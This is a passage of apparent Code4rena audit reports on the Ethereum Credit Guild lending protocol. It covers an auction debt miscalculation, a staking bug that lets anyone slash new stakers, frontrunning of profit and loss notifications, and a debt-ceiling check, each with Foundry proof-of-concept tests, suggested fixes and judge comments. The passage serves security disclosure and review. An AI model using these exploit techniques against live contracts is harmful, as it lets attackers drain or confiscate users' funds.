However, during auction the debt is compared against an updated principle
, which takes into consideration an updated creditMultiplier
:
751: uint256 creditMultiplier = ProfitManager(refs.profitManager) 752: .creditMultiplier(); 753: uint256 borrowAmount = loans[loanId].borrowAmount; 754: uint256 principal = (borrowAmount * 755: loans[loanId].borrowCreditMultiplier) / creditMultiplier; 756: int256 pnl; 757: uint256 interest; 758: if (creditFromBidder >= principal) { 759: interest = creditFromBidder - principal; 760: pnl = int256(interest); 761: } else { 762: pnl = int256(creditFromBidder) - int256(principal);
Note that in the above code, creditFromBidder
is <= callDebt
, depending on when the bid takes place. If the creditMultiplier
is updated when the loan is in auction, then the callDebt
of the loan will be less than what the loan should actually be (considering the updated creditMultiplier
). This allows the borrower to bid during the first phase of the auction and receive their original collateral at a discount. In addition, because the callDebt
(creditFromBidder
) stays the same while the principle
increases, then the difference (interest
) will be less that it should be (considering the updated creditMultiplier
).
When a borrower's loan is in auction during a mark down
, the borrower is able to repay their loan, and receive their collateral, at a discount. This results in the protocol collecting less interest from the borrower. The difference between the interestExpected
and the interestReceived
is leaked from the protocol.
Place the following test inside of the /test/unit/loan/
directory:
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.13; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; import {Test} from "@forge-std/Test.sol"; import {Core} from "@src/core/Core.sol"; import {CoreRoles} from "@src/core/CoreRoles.sol"; import {MockERC20} from "@test/mock/MockERC20.sol"; import {SimplePSM} from "@src/loan/SimplePSM.sol"; import {GuildToken} from "@src/tokens/GuildToken.sol"; import {CreditToken} from "@src/tokens/CreditToken.sol"; import {LendingTerm} from "@src/loan/LendingTerm.sol"; import {AuctionHouse} from "@src/loan/AuctionHouse.sol"; import {ProfitManager} from "@src/governance/ProfitManager.sol"; import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol"; contract ReceiveCollatAtDiscount is Test { address private governor = address(1); address private guardian = address(2); address borrower = address(0x02020202); address borrower2 = address(0x03030303); Core private core; ProfitManager private profitManager; CreditToken credit; GuildToken guild; MockERC20 collateral; MockERC20 USDC; SimplePSM private psm; RateLimitedMinter rlcm; AuctionHouse auctionHouse; LendingTerm term; uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1 uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0; uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0; uint256 constant _HARDCAP = 2_000_000e18; // 2 million uint256 public issuance = 0; function setUp() public { vm.warp(1679067867); vm.roll(16848497); core = new Core(); profitManager = new ProfitManager(address(core)); collateral = new MockERC20(); USDC = new MockERC20(); // 18 decimals for easy calculations credit = new CreditToken(address(core), "name", "symbol"); guild = new GuildToken( address(core), address(profitManager) ); rlcm = new RateLimitedMinter( address(core) /*_core*/, address(credit) /*_token*/, CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/, 0 /*_maxRateLimitPerSecond*/, 0 /*_rateLimitPerSecond*/, uint128(_HARDCAP) /*_bufferCap*/ ); auctionHouse = new AuctionHouse(address(core), 650, 1800); term = LendingTerm(Clones.clone(address(new LendingTerm()))); term.initialize( address(core), LendingTerm.LendingTermReferences({ profitManager: address(profitManager), guildToken: address(guild), auctionHouse: address(auctionHouse), creditMinter: address(rlcm), creditToken: address(credit) }), LendingTerm.LendingTermParams({ collateralToken: address(collateral), maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN, interestRate: _INTEREST_RATE, maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY, minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT, openingFee: 0, hardCap: _HARDCAP }) ); psm = new SimplePSM( address(core), address(profitManager), address(credit), address(USDC) ); profitManager.initializeReferences(address(credit), address(guild), address(psm)); // roles core.grantRole(CoreRoles.GOVERNOR, governor); core.grantRole(CoreRoles.GUARDIAN, guardian); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_REMOVE, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm)); core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)); core.grantRole(CoreRoles.CREDIT_MINTER, address(psm)); core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm)); core.renounceRole(CoreRoles.GOVERNOR, address(this)); // add gauge guild.setMaxGauges(10); guild.addGauge(1, address(term)); } function testReceiveCollateralAtDiscountAndLeakValue() public { // setup // 100% of profit goes to surplus buffer vm.prank(governor); profitManager.setProfitSharingConfig( 1e18, // surplusBufferSplit 0, // creditSplit 0, // guildSplit 0, // otherSplit address(0) // otherRecipient ); // debt ceiling for term is increased guild.mint(address(this), 1); guild.incrementGauge(address(term), 1); // borrower1 takes out loan for 1_000e18 Credit collateral.mint(borrower, 1_000e18); vm.startPrank(borrower); collateral.approve(address(term), 1_000e18); bytes32 loanId1 = term.borrow(1_000e18, 1_000e18); vm.stopPrank(); // borrower2 takes out a loan for 1_000e18 Credit collateral.mint(borrower2, 1_000e18); vm.startPrank(borrower2); collateral.approve(address(term), 1_000e18); bytes32 loanId2 = term.borrow(1_000e18, 1_000e18); vm.stopPrank(); // 1 year passes and both borrowers owe the same principle + interest vm.roll(block.number + 1); vm.warp(block.timestamp + term.YEAR()); assertEq(term.getLoanDebt(loanId1), 1_040e18); assertEq(term.getLoanDebt(loanId2), 1_040e18); // term is offboarded guild.removeGauge(address(term)); assertEq(guild.isGauge(address(term)), false); // borrower1's loan is called term.call(loanId1); assertEq(term.getLoan(loanId1).callTime, block.timestamp); // borrowers still owe the same for their loans assertEq(term.getLoanDebt(loanId1), 1_040e18); assertEq(term.getLoanDebt(loanId2), 1_040e18); // bad debt is created/Credit is marked down while both loans are in auction vm.prank(address(term)); profitManager.notifyPnL(address(term), -40e18); assertEq(profitManager.creditMultiplier(), 0.98e18); // borrower2 now owes more than borrower1, due to the markdown assertEq(term.getLoanDebt(loanId1), 1_040e18); // 1_040 assertEq(term.getLoanDebt(loanId2), 1061224489795918367346); // ~ 1_061.2 // borrower1 bids during the first phase of their auction and receives their collateral at a discount assertEq(collateral.balanceOf(borrower), 0); // borrower has 0 collateral to start assertEq(credit.balanceOf(address(profitManager)), 0); // profitManager has received 0 interest uint256 collateralExpected = term.getLoan(loanId1).collateralAmount; credit.mint(borrower, 40e18); vm.startPrank(borrower); credit.approve(address(term), 1_040e18); auctionHouse.bid(loanId1); vm.stopPrank(); uint256 collateralReceived = collateral.balanceOf(borrower); assertEq(collateralExpected, collateralReceived); // interest received by the protocol for borrower1's loan // expected interest is 40e18 (4% of original 1_000 loan) uint256 interestReceivedLoan1 = credit.balanceOf(address(profitManager)); assertEq(interestReceivedLoan1, 19591836734693877552); // ~ 19.59e18, i.e. NOT 40e18 // borrower2 repays his loan before it is called and pays the correct amount of inflated Credit assertEq(collateral.balanceOf(borrower2), 0); // borrower2 has 0 collateral to start assertEq(credit.balanceOf(address(profitManager)), 19591836734693877552); // profitManager interest received so far collateralExpected = term.getLoan(loanId2).collateralAmount; credit.mint(borrower2, 61224489795918367346); vm.startPrank(borrower2); credit.approve(address(term), 1061224489795918367346); term.repay(loanId2); vm.stopPrank(); collateralReceived = collateral.balanceOf(borrower); assertEq(collateralExpected, collateralReceived); // interest received by protocol for borrower2's loan uint256 interestReceivedLoan2 = credit.balanceOf(address(profitManager)); assertEq(interestReceivedLoan2, 60408163265306122450); // ~ 60e18 due to mark down // interest received from borrower1's loan is less than what is received from borrower2's loan assertLt(interestReceivedLoan1, interestReceivedLoan2); // Note: borrower1 paid less Credit for their full collateral than borrower2 // the protocol received less interest from borrower1's loan than from borrower2's loan } }
The callDebt
for a loan should be calculated dynamically during an auction, with consideration of the current creditMultiplier
.
#0 - c4-judge
2024-01-30T15:12:47Z
Trumpero marked the issue as satisfactory
#1 - c4-judge
2024-01-30T15:14:21Z
Trumpero marked the issue as duplicate of #1069
🌟 Selected for report: JCN
Also found by: 0xadrii, 0xaltego, 0xdice91, 0xivas, 0xpiken, Akali, AlexCzm, Chinmay, DanielArmstrong, HighDuty, Infect3d, Inference, KupiaSec, PENGUN, SECURITISE, Stormreckson, SweetDream, TheSchnilch, Timeless, Varun_05, XDZIBECX, alexzoid, asui, beber89, btk, carrotsmuggler, cats, cccz, developerjordy, ether_sky, grearlake, imare, jasonxiale, kaden, klau5, santipu_, serial-coder, sl1, smiling_heretic, stackachu, wangxx2026, whitehat-boys
3.9606 USDC - $3.96
User's can stake into a gauge directly via the GuildToken
or indirectly via the SurplusGuildMinter
. When a user stakes into a new gauge (i.e. their weight goes from 0
to > 0
) via GuildToken::incrementGauge
their lastGaugeLossApplied
mapping for this gauge, which is how the system keeps track of whether or not the user deserves to be slashed, is set to the current timestamp:
247: uint256 _lastGaugeLoss = lastGaugeLoss[gauge]; 248: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user]; 249: if (getUserGaugeWeight[user][gauge] == 0) { 250: lastGaugeLossApplied[gauge][user] = block.timestamp; 251: } else { 252: require( 253: _lastGaugeLossApplied >= _lastGaugeLoss, 254: "GuildToken: pending loss" 255: ); 256: }
This ensures that any loss that occured in the gauge before the user staked will result in the following condition: lastGaugeLossApplied[gauge][user] > lastGaugeLoss[gauge]
. This means the user staked into the gauge after the gauge experienced a loss and therefore they can not be slashed:
133: function applyGaugeLoss(address gauge, address who) external { 134: // check preconditions 135: uint256 _lastGaugeLoss = lastGaugeLoss[gauge]; 136: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who]; 137: require( 138: _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss, 139: "GuildToken: no loss to apply" 140: );
The above function showcases the requirements that need to be met in order for a user to be slashed: the user must have been staked in the gauge when the gauge experienced a loss in order for the user to be slashed. With this in mind, let us observe the process that occurs when users stake via the SurplusGuildMinter
:
When a user stakes into a gauge via the SurpluGuildMinter::stake
function the SurplusGuildMinter::getRewards
function is invoked:
SurplusGuildMinter.sol#L216-L236
216: function getRewards( 217: address user, 218: address term 219: ) 220: public 221: returns ( 222: uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term) 223: UserStake memory userStake, // stake state after execution of getRewards() 224: bool slashed // true if the user has been slashed 225: ) 226: { 227: bool updateState; 228: lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term); 229: if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) { 230: slashed = true; 231: } 232: 233: // if the user is not staking, do nothing 234: userStake = _stakes[user][term]; 235: if (userStake.stakeTime == 0) 236: return (lastGaugeLoss, userStake, slashed);
As seen above, this function will retrieve the lastGaugeLoss
for the specified gauge (term
) the user is staking into and will identify this user as being slashed, i.e. slashed = true
, if lastGaugeLoss > userStake.lastGaugeLoss
. The issue lies in the fact that at this point in the code execution the userStake
struct is a freshly initialized memory struct and therefore all of the struct's fields are set to 0. Thus, the check on lines 229-230 are really doing the following:
if (lastGaugeLoss > uint256(0)) { slashed = true; }
The above code will always set slashed
to true
if the specified gauge has experienced any loss in its history. Therefore, a gauge can have experienced a loss, been off-boarded, and then been re-onboarded at a future time and The SurplusGuildMinter
will consider any user who stakes into this gauge to be slashed
.
The code execution will then continue to lines 235-236, where the user's stake is retrieved from storage (it is initialized to all 0s since the user has not staked yet) and if the stakeTime
field is 0 (it is), the execution returns to the GuildToken::stake
function:
SurplusGuildMinter.sol#L114-L125
114: function stake(address term, uint256 amount) external whenNotPaused { 115: // apply pending rewards 116: (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards( 117: msg.sender, 118: term 119: ); 120: 121: require( 122: lastGaugeLoss != block.timestamp, 123: "SurplusGuildMinter: loss in block" 124: ); 125: require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");
The above code illustrates the only validation checks that are performed in this stake
function. As long as the user is not attempting to stake into a gauge in the same block that the gauge experienced a loss, and the user is staking at least 1e18
, the user's stake
position will be initialized (the user will be allowed to stake their Credit
):
SurplusGuildMinter.sol#L114-L125
139: userStake = UserStake({ 140: stakeTime: SafeCastLib.safeCastTo48(block.timestamp), 141: lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss), 142: profitIndex: SafeCastLib.safeCastTo160( 143: ProfitManager(profitManager).userGaugeProfitIndex( 144: address(this), 145: term 146: ) 147: ), 148: credit: userStake.credit + SafeCastLib.safeCastTo128(amount), 149: guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount) 150: }); 151: _stakes[msg.sender][term] = userStake;
The user would naturally perform the next actions: They can call SurplusGuildMinter::getRewards
when they want to receive rewards and they can call SurplusGuildMinter::unstake
when they want to unstake from their position, i.e. withdraw their deposited Credit
. It is important to note that when the unstake
function is called, similar to the stake
function, the getRewards
function will first be invoked. As we previously observed, the getRewards
function will consider the user slashed
if the gauge had previously experienced any loss in its history. Therefore, after a user has staked, any call to getRewards
will result in the following logic to execute:
SurplusGuildMinter.sol#L274-L289
274: if (slashed) { 275: emit Unstake(block.timestamp, term, uint256(userStake.credit)); 276: userStake = UserStake({ 277: stakeTime: uint48(0), 278: lastGaugeLoss: uint48(0), 279: profitIndex: uint160(0), 280: credit: uint128(0), 281: guild: uint128(0) 282: }); 283: updateState = true; 284: } 285: 286: // store the updated stake, if needed 287: if (updateState) { 288: _stakes[user][term] = userStake; 289: }
As we can see above, when a user calls getRewards
or unstake
after staking into a gauge that has experienced a loss sometime in its history, the user's stake
position will be deleted (slashed). If the user is attempting to unstake then the execution flow will continue in the unstake
function:
SurplusGuildMinter.sol#L158-L166C25
158: function unstake(address term, uint256 amount) external { 159: // apply pending rewards 160: (, UserStake memory userStake, bool slashed) = getRewards( 161: msg.sender, 162: term 163: ); 164: 165: // if the user has been slashed, there is nothing to do 166: if (slashed) return;
Since the user has been considered slashed
, the execution will return on line 166 and the user will not be allowed to withdraw their staked Credit
.
I would also like to note that the user will still have a chance to receive some earned Credit
after the gauge experiences a profit. However, since the user is considered slashed
, they will not be given any guild rewards
:
SurplusGuildMinter.sol#L247-L264
247: uint256 deltaIndex = _profitIndex - _userProfitIndex; 248: 249: if (deltaIndex != 0) { 250: uint256 creditReward = (uint256(userStake.guild) * deltaIndex) / 251: 1e18; 252: uint256 guildReward = (creditReward * rewardRatio) / 1e18; 253: if (slashed) { 254: guildReward = 0; 255: } 256: 257: // forward rewards to user 258: if (guildReward != 0) { 259: RateLimitedMinter(rlgm).mint(user, guildReward); 260: emit GuildReward(block.timestamp, user, guildReward); 261: } 262: if (creditReward != 0) { 263: CreditToken(credit).transfer(user, creditReward); 264: }
As seen above, if the user is eligible to claim rewards (the gauge they staked into has experienced a profit), then they will be sent creditReward
of Credit
. However, since they are considered slashed
, their guildReward
is set to 0. This scenario will only occur if no one calls getReward
for this user before the gauge generates a profit. If any call to getReward
for this user is invoked before that, the user will not be able to receive any rewards and in both situations they will lose their staked Credit
.
An additional, lesser effect, is that the Guild
which was minted on behalf of the user who staked will not be unstaked from the gauge, it will not be burned, and the RateLimitedGuildMinter
's buffer will not be replenished. I.e. the following code from the unstake
function will not execute:
SurplusGuildMinter.sol#L205-L208
205: // burn GUILD 206: GuildToken(guild).decrementGauge(term, guildAmount); 207: RateLimitedMinter(rlgm).replenishBuffer(guildAmount); 208: GuildToken(guild).burn(guildAmount);
User's utilizing the SurplusGuildMinter
to stake into a gauge, which has previously experienced a loss sometime in its history, can be immediately slashed. This will result in the user losing out on any guild rewards (if they were staked into the gauge while it experienced a profit), but most importantly this will result in the user losing their staked principle (Credit
).
To further illustrate the impact of this vulnerability lets consider the following scenario:
A gauge experiences a loss. The gauge is then off-boarded. The gauge is re-onboarded in the future. A user stakes into this gauge via the SurplusGuildMinter
. A malicious actor immediately calls getRewards(gauge, user)
and the user is slashed
and loses their staked Credit
.
The following test describes the main impact highlighted above in which a user stakes into a previously lossy gauge and is immediately slashed:
Place the following test inside of test/unit/loan/SurplusGuildMinter.t.sol
:
function testUserImmediatelySlashed() public { // initial state assertEq(guild.getGaugeWeight(term), 50e18); // add credit to surplus buffer credit.mint(address(this), 100e18); credit.approve(address(profitManager), 50e18); profitManager.donateToSurplusBuffer(50e18); // term incurs loss profitManager.notifyPnL(term, -50e18); assertEq(guild.lastGaugeLoss(term), block.timestamp); // term offboarded guild.removeGauge(term); assertEq(guild.isGauge(term), false); // time passes and term is re-onboarded vm.roll(block.number + 100); vm.warp(block.timestamp + (100 * 13)); guild.addGauge(1, term); assertEq(guild.isGauge(term), true); // user stakes into term directly address user = address(0x01010101); guild.mint(user, 10e18); vm.startPrank(user); guild.incrementGauge(term, 10e18); vm.stopPrank(); // user can un-stake from term vm.startPrank(user); guild.decrementGauge(term, 10e18); vm.stopPrank(); // user stakes into term via sgm credit.mint(user, 10e18); vm.startPrank(user); credit.approve(address(sgm), 10e18); sgm.stake(term, 10e18); vm.stopPrank(); // check after-stake state assertEq(credit.balanceOf(user), 0); assertEq(profitManager.termSurplusBuffer(term), 10e18); assertEq(guild.getGaugeWeight(term), 70e18); SurplusGuildMinter.UserStake memory userStake = sgm.getUserStake(user, term); assertEq(uint256(userStake.stakeTime), block.timestamp); assertEq(userStake.lastGaugeLoss, guild.lastGaugeLoss(term)); assertEq(userStake.profitIndex, 0); assertEq(userStake.credit, 10e18); assertEq(userStake.guild, 20e18); // malicious actor is aware of bug and slashes the user's stake immediately, despite no loss occuring in the gauge sgm.getRewards(user, term); // check after-getReward state (user was slashed eventhough no loss has occured since term was re-onboarded) assertEq(credit.balanceOf(user), 0); assertEq(profitManager.termSurplusBuffer(term), 10e18); assertEq(guild.getGaugeWeight(term), 70e18); userStake = sgm.getUserStake(user, term); assertEq(uint256(userStake.stakeTime), 0); assertEq(userStake.lastGaugeLoss, 0); assertEq(userStake.profitIndex, 0); assertEq(userStake.credit, 0); assertEq(userStake.guild, 0); // user tries to unstake but will not receive anything uint256 userBalanceBefore = credit.balanceOf(user); vm.startPrank(user); sgm.unstake(term, 10e18); vm.stopPrank(); uint256 userAfterBalance = credit.balanceOf(user); assertEq(userBalanceBefore, 0); assertEq(userAfterBalance, 0); }
manual
Similar to how the GuildToken::incrementGauge
function initializes a user's lastGaugeLossApplied
value, the SurplusGuildMinter
should initialize a user's userStake.lastGaugeLoss
to block.timestamp
. It should then compare the lastGaugeLoss
to the user's stored userStake.lastGaugeLoss
instead of comparing the lastGaugeLoss
to a freshly initialized userStake
memory struct, whose fields are all 0.
Other
#0 - 0xSorryNotSorry
2023-12-29T14:55:45Z
The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#1 - c4-pre-sort
2023-12-29T14:55:55Z
0xSorryNotSorry marked the issue as high quality report
#2 - c4-pre-sort
2023-12-29T14:56:01Z
0xSorryNotSorry marked the issue as duplicate of #1164
#3 - c4-judge
2024-01-28T20:19:36Z
Trumpero marked the issue as satisfactory
#4 - 0xJCN
2024-02-01T16:49:13Z
Hi @Trumpero,
I understand that labeling a report as selected for report
is subjective, however I would like to ask you to consider this report for the selected for report
label instead of 1164 for the following reason:
I believe this report and issue 1164 have both properly identified the root cause, however I believe the POC in this report offers a clearer demonstration of the maximum achievable impact of the root cause
. The POC in this report shows how a term can incur a loss, be off-boarded, and then when the term is re-onboarded any users who stake into this term (for the first time since being re-onboarded) can be immediately slashed. I believe this scenario offers a better description of the impact, as it shows how the vulnerability manifests itself despite the fact that the re-onboarded term has not incurred any loss since being re-onboarded. On the otherhand, issue 1164's POC demonstrates a situation where a term incurs a loss and then a user stakes into the term after the fact and gets slashed. Technicalities: The term will likely get off-boarded after incurring a loss and it is unlikely that a user will intentionally stake into a lossy gauge.
Thank you for taking the time to read my comment.
#5 - Trumpero
2024-02-07T12:41:43Z
@0xJCN I agree with you, this report is better (but not much) than #1164 and should be selected for report
#6 - c4-judge
2024-02-07T12:41:54Z
Trumpero marked the issue as selected for report
🌟 Selected for report: SBSecurity
Also found by: 0x_6a70, 0xanmol, 0xbepresent, 0xfave, Arz, Byteblockers, CaeraDenoir, EV_om, EllipticPoint, Infect3d, JCN, Mike_Bello90, SECURITISE, Soul22, almurhasan, c47ch3m4ll, carrotsmuggler, cccz, critical-or-high, ether_sky, evmboi32, grearlake, kaden, rbserver, smiling_heretic, whitehat-boys, zhaojie
6.8173 USDC - $6.82
Judge has assessed an item in Issue #556 as 2 risk. The relevant finding follows:
NotifyPnL
calls to earn risk-free
rewards and avoid slashingCalls to ProfitManager::notifyPnL
are performed by terms when a profit or loss is generated. Guild stakers who are staked into a gauge while it experiences a profit will be eligible to claim rewards for that gauge/term. First, the gauge's gaugeProfitIndex
is updated based on the profit generated:
ProfitManager::notifyPnL#L383-L399
383: if (amountForGuild != 0) { 384: // update the gauge profit index 385: // if the gauge has 0 weight, does not update the profit index, this is unnecessary 386: // because the profit index is used to reattribute profit to users voting for the gauge, 387: // and if the weigth is 0, there are no users voting for the gauge. 388: uint256 _gaugeWeight = uint256( 389: GuildToken(guild).getGaugeWeight(gauge) 390: ); 391: if (_gaugeWeight != 0) { 392: uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge]; 393: if (_gaugeProfitIndex == 0) { 394: _gaugeProfitIndex = 1e18; 395: } 396: gaugeProfitIndex[gauge] = 397: _gaugeProfitIndex + 398: (amountForGuild * 1e18) / 399: _gaugeWeight;
Next, stakers who were staked in the gauge will be able to collect the rewards via ProfitManager::claimGaugeRewards
:
ProfitManager::claimGaugeRewards#L427-L434
427: uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex; 428: if (deltaIndex != 0) { 429: creditEarned = (_userGaugeWeight * deltaIndex) / 1e18; 430: userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex; 431: } 432: if (creditEarned != 0) { 433: emit ClaimRewards(block.timestamp, user, gauge, creditEarned); 434: CreditToken(credit).transfer(user, creditEarned);
On the other hand, stakers who are staked into a gauge when it experiences a loss will have their Guild slashed. First, the time of the loss is recorded in the gauge:
ProfitManager::notifyPnL#L300-L305
300: // handling loss 301: if (amount < 0) { 302: uint256 loss = uint256(-amount); 303: 304: // save gauge loss 305: GuildToken(guild).notifyGaugeLoss(gauge);
Next, the loss can be applied to any staker who was staked into the gauge when the loss occured, resulting in the staker being slashed:
GuildToken::applyGaugeLoss#L133-L140
133: function applyGaugeLoss(address gauge, address who) external { 134: // check preconditions 135: uint256 _lastGaugeLoss = lastGaugeLoss[gauge]; 136: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who]; 137: require( 138: _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss, 139: "GuildToken: no loss to apply" 140: );
User's are not enforced to be staked into a gauge for a minimum amount of time in order to be eligible to receive rewards and therefore a user can stake into the gauge immediately before a profit is generated (in the same block) and then claim rewards via claimGaugeRewards
.
Similarly, stakers can avoid being slashed by immediately unstaking all their Guild before the loss is recorded (in the same block). Therefore, the user's lastGaugeLossApplied
will be equal to the lastGaugeLoss
and the user will not be slashed.
Users can frontrun gainy notifyPnL
calls to collect rewards for a gauge that will experience a profit. This will result in all other stakers' rewards being diluted. The user is able to do this despite their total time staked in the gauge being 0
(staked into gauge during the same block as profit). Additionally, the user is able to benefit from the reward system while taking on zero-risk
.
Users can frontrun lossy notifyPnL
calls to avoid being slashed. Since slashing is total, a loss of 1 wei
will be as devastating to a staker as a loss of 1_000e18
. Therefore, users are incentivized to actively try to avoid these losses by unstaking all of their Guild immediately before the gauge experiences a loss. User's who unstake will have to be sure the adjusted debt ceiling (after unstaking) does not fall below the issuance
for the gauge, or else the user will not be allowed to unstake their Guild.
Place the following test inside of /test/unit/governance/ProfitManager.t.sol
:
function testFrontrunGainyAndLossyNotifyPnL() public { // grant roles to test contract vm.startPrank(governor); core.grantRole(CoreRoles.GOVERNOR, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this)); core.grantRole(CoreRoles.GAUGE_REMOVE, address(this)); vm.stopPrank(); // setup // 100% of profit goes to Guild stakers vm.prank(governor); profitManager.setProfitSharingConfig( 0, // surplusBufferSplit 0, // creditSplit 1e18, // guildSplit 0, // otherSplit address(0) // otherRecipient ); // set up gauge guild.setMaxGauges(1); guild.addGauge(1, gauge1); // alice and bob both have Guild guild.mint(alice, 50e18); guild.mint(bob, 50e18); // alice is staked into the gauge vm.startPrank(alice); guild.incrementGauge(gauge1, 50e18); vm.stopPrank(); assertEq(guild.getUserWeight(alice), 50e18); assertEq(guild.getUserWeight(bob), 0); // time passes since alice was staked in the gauge vm.roll(block.number + 100); vm.warp(block.timestamp + (100 * 13)); // bob stakes into the gauge immediately before the gauge experiences a profit vm.startPrank(bob); guild.incrementGauge(gauge1, 50e18); vm.stopPrank(); assertEq(guild.getUserWeight(bob), 50e18); assertEq(guild.getUserWeight(alice), 50e18); credit.mint(address(profitManager), 200e18); profitManager.notifyPnL(gauge1, 200e18); // bob and alice both claim equal rewards assertEq(profitManager.claimRewards(alice), 100e18); assertEq(profitManager.claimRewards(bob), 100e18); assertEq(credit.balanceOf(address(profitManager)), 0); // alice and bob are both staked in the gauge assertEq(guild.getUserWeight(bob), 50e18); assertEq(guild.getUserWeight(alice), 50e18); vm.roll(block.number + 1); vm.warp(block.timestamp + 13); // bob unstakes from the gauge immediately before the gauge experiences a loss vm.startPrank(bob); guild.decrementGauge(gauge1, 50e18); vm.stopPrank(); profitManager.notifyPnL(gauge1, -1e18); // alice's loss is applied and she is slashed guild.applyGaugeLoss(gauge1, alice); assertEq(guild.getUserWeight(alice), 0); assertEq(guild.balanceOf(alice), 0); // bob can not be slashed vm.expectRevert(); guild.applyGaugeLoss(gauge1, bob); assertEq(guild.getUserWeight(bob), 0); assertEq(guild.balanceOf(bob), 50e18); }
Stakers can be enforced to be staked into a gauge for at least 1 block. This would ensure that user's are not able to stake into a gauge in the same block in which a profit is generated and collect rewards.
Unstaking can be restricted during auctions in order to prevent stakers from speculating on the likely-hood of a loss
occuring and prevent them from unstaking before the loss is recorded.
#0 - c4-judge
2024-02-03T15:27:06Z
Trumpero marked the issue as duplicate of #994
#1 - c4-judge
2024-02-03T15:27:10Z
Trumpero marked the issue as satisfactory
🌟 Selected for report: SpicyMeatball
Also found by: Byteblockers, JCN, TheSchnilch, cccz, ether_sky, kaden, klau5, mojito_auditor, niroh, nocoder, rbserver, santipu_
71.3169 USDC - $71.32
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L313-L318 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L222-L233
Borrowers are allowed to borrow up to the debt allocation of the gauge. Similarly, it is assumed that stakers are able to unstake from the gauge as long as the debt allocation is not reached. This becomes more apparent when considering a single gauge system. Consider the following state:
- bufferCap: 2_000_000e18 - hardCap: 2_000_000e18 - gauge weight: 1_000e18 - total gauge weight: 1_000e18 - Gauge allocation: 1_000e18 / 1_000e18 == 100%
Given the state above, the single gauge has 100% debt allocation of the bufferCap
(global debt ceiling
). This means that borrowers will be able to increase the issuance
of the term up to 2_000_000e18
. Stakers should be expected to be able to unstake from the gauge as long as the issuance
is less than 2_000_000e18
(i.e. as long as the term has not used 100% of its debt allocation). Additionally, since only 1 wei
is technically required in order to give the single gauge 100% debt allocation, all Guild, except for 1 wei
, could theoretically be unstaked from the gauge before the issuance == 2_000_000e18
. However, as I will soon show, this is not the case for single gauge systems and consequently stakers will not be able to unstake once the gauge has used > 50%
of its debt allocation.
Note: I have confirmed with the developers that stakers, in a single gauge system, are indeed expected to be able to unstake as long as 100%
of the debt allocation is not utilized. I.e. as long as issuance < bufferCap
.
When a user unstakes from a gauge they will call the GuildToken::decrementGauge
function and the following code will be invoked:
GuildToken::_decrementGaugeWeight#L222-L233
222: // check if gauge is currently using its allocated debt ceiling. 223: // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used. 224: uint256 issuance = LendingTerm(gauge).issuance(); 225: if (issuance != 0) { 226: uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight)); 227: require( 228: issuance <= debtCeilingAfterDecrement, 229: "GuildToken: debt ceiling used" 230: ); 231: } 232: 233: super._decrementGaugeWeight(user, gauge, weight);
On lines 226-228, the adjusted debtCeilingAfterDecrement
of the gauge is calculated and it is required to be equal to or greater than the issuance
of the gauge. This check is not accurate for single gauge systems. As I mentioned earlier, in single gauge systems all unstaking should be allowed as long as the issuance
is less than the bufferCap
(2_000_000e18
, based on the state provided earlier) and as long as the gaugeWeight
remains > 0
after the adjustment (i.e. unstaking all of the Guild is not allowed). To properly illustrate this issue, lets consider the following scenario:
- bufferCap: 2_000_000e18 - hardCap: 2_000_000e18 - gauge weight: 1_000e18 - total gauge weight: 1_000e18 - issuance = 1_000_000e18 (50% of debt allocation, 1_000_000e18 in borrows) - buffer: 1_000_000e18 (depleted by 50%) - a user wishes to unstake 1e18 of Guild from the gauge
Based on the above state, lets step through what will occur in debtCeiling()
function when our user attempts to unstake 1e18
Guild:
LendingTerm::debtCeiling#L277-L286
